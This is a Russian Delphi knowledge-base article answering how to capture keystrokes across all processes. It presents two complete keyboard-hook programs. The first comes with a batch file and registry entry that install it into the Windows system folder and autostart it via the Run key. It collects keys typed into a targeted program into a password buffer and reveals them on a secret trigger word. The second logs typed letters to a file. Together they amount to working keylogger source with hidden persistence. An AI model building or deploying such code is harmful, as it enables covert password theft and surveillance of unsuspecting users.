Sources
Delphi Russian Knowledge Base
DRKB - это самая большая и удобная в использовании база знаний по Дельфи в рунете, составленная Виталием Невзоровым

Как отловить нажатия клавиш для всех процессов в системе?

01.01.2007
 

·Setup.bat
@echo off
copy HookAgnt.dll %windir%\system
copy kbdhook.exe %windir%\system
start HookAgnt.reg
·HookAgnt.reg
REGEDIT4
 
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"kbdhook"="kbdhook.exe"
·KbdHook.dpr
program cwbhook;
 
uses
  Windows, Dialogs;
 
var
  hinstDLL: HINST;
  hkprcKeyboard: TFNHookProc;
  msg: TMsg;
 
begin
  hinstDLL := LoadLibrary('HookAgnt.dll');
  hkprcKeyboard := GetProcAddress(hinstDLL, 'KeyboardProc');
  SetWindowsHookEx(WH_KEYBOARD, hkprcKeyboard, hinstDLL, 0);
  repeat
  until
    not GetMessage(msg, 0, 0, 0);
end.

HookAgnt.dpr

library HookAgent;
 
uses
  Windows, KeyboardHook in 'KeyboardHook.pas';
 
exports
  KeyboardProc;
 
var
  hFileMappingObject: THandle;
  fInit: Boolean;
 
{----------------------------\
| |
| DLL_PROCESS_DETACH |
| |
\----------------------------}
 
procedure DLLMain(Reason: Integer);
begin
  if Reason = DLL_PROCESS_DETACH then
  begin
    UnmapViewOfFile(lpvMem);
    CloseHandle(hFileMappingObject);
  end;
end;
 
{----------------------------\
| |
| DLL_PROCESS_ATTACH |
| |
\----------------------------}
 
begin
  DLLProc := @DLLMain;
 
  hFileMappingObject := CreateFileMapping(
  THandle($FFFFFFFF), // use paging file
  nil, // no security attributes
  PAGE_READWRITE, // read/write access
  0, // size: high 32 bits
  4096, // size: low 32 bits
  'HookAgentShareMem' // name of map object
  );
 
  if hFileMappingObject = INVALID_HANDLE_VALUE then
  begin
    ExitCode := 1;
    Exit;
  end;
 
  fInit := GetLastError() <> ERROR_ALREADY_EXISTS;
 
  lpvMem := MapViewOfFile(
  hFileMappingObject, // object to map view of
  FILE_MAP_WRITE, // read/write access
  0, // high offset: map from
  0, // low offset: beginning
  0 // default: map entire file
  );
 
  if lpvMem = nil then
  begin
    CloseHandle(hFileMappingObject);
    ExitCode := 1;
    Exit;
  end;
 
  if fInit then
    FillChar(lpvMem, PASSWORDSIZE, #0);
 
end.

KeyboardHook.pas

unit KeyboardHook;
 
interface
 
uses
  Windows;
 
const
  PASSWORDSIZE = 16;
 
var
  g_hhk: HHOOK;
  g_szKeyword: array[0..PASSWORDSIZE-1] of char;
  lpvMem: Pointer;
 
  function KeyboardProc(nCode: Integer; wParam: WPARAM;
  lParam: LPARAM ): LRESULT; stdcall;
 
implementation
 
uses
  SysUtils, Dialogs;
 
  function KeyboardProc(nCode: Integer; wParam: WPARAM;
  lParam: LPARAM ): LRESULT;
 
var
  szModuleFileName: array[0..MAX_PATH-1] of Char;
  szKeyName: array[0..16] of Char;
  lpszPassword: PChar;
 
begin
  lpszPassword := PChar(lpvMem);
 
  if (nCode = HC_ACTION) and (((lParam shr 16) and KF_UP) = 0) then
  begin
    GetKeyNameText(lParam, szKeyName, sizeof(szKeyName));
 
    if StrLen(g_szKeyword) + StrLen(szKeyName) >= PASSWORDSIZE then
      lstrcpy(g_szKeyword, g_szKeyword + StrLen(szKeyName));
 
    lstrcat(g_szKeyword, szKeyName);
 
    GetModuleFileName(0, szModuleFileName, sizeof(szModuleFileName));
 
    if (StrPos(StrUpper(szModuleFileName),'__ТО_ЧЕГО_АДО__') <> nil) and
    (strlen(lpszPassword) + strlen(szKeyName) < PASSWORDSIZE) then
      lstrcat(lpszPassword, szKeyName);
 
    if StrPos(StrUpper(g_szKeyword), 'GOLDENEYE') <> nil then
    begin
      ShowMessage(lpszPassword);
      g_szKeyword[0] := #0;
    end;
 
    Result := 0;
  end
  else
    Result := CallNextHookEx(g_hhk, nCode, wParam, lParam);
end;
 
end.
 


library Hook;
uses Windows, SysUtils;
const KF_UP_MY = $40000000;
var CurrentHook: HHook;
    KeyArray: array[0..19] of char;
    KeyArrayPtr: integer;
    CurFile:text;
function GlobalKeyBoardHook(code: integer; wParam: integer; lParam:
integer): longword; stdcall;
var
i:integer;
begin
  if code< 0 then
   begin
     result:=CallNextHookEx(CurrentHook,code,wParam,lparam);
     Exit;
   end;
  if ( (lParam and KF_UP_MY ) = 0) and (wParam> =65) and (wParam< =90) then
    begin
      KeyArray[KeyArrayPtr]:=char(wParam);
      KeyArrayPtr:=KeyArrayPtr+1;
      if KeyArrayPtr> 19 then
       begin
        for i:=0 to 19 do
        begin
          Assignfile(CurFile,'d:\log.txt');
          if fileexists('d:\log.txt')=false then rewrite(CurFile)
          else Append(CurFile);
          write(Curfile, KeyArray[i]);
          closefile(curfile);
        end;
        KeyArrayPtr:=0;
       end;
    end;
    CallNextHookEx(CurrentHook,code,wParam,lparam);
    result:=0;
end;
procedure SetupGlobalKeyBoardHook;
begin
  CurrentHook:=SetWindowsHookEx(WH_KEYBOARD, @GlobalKeyBoardHook,HInstance, 0);
  KeyArrayptr:=0;
end;
procedure unhook;
begin
  UnhookWindowshookEx(CurrentHook);
end;
 
exports
 SetupGlobalKeyBoardHook, UnHook;
begin
end.

Взято с https://delphiworld.narod.ru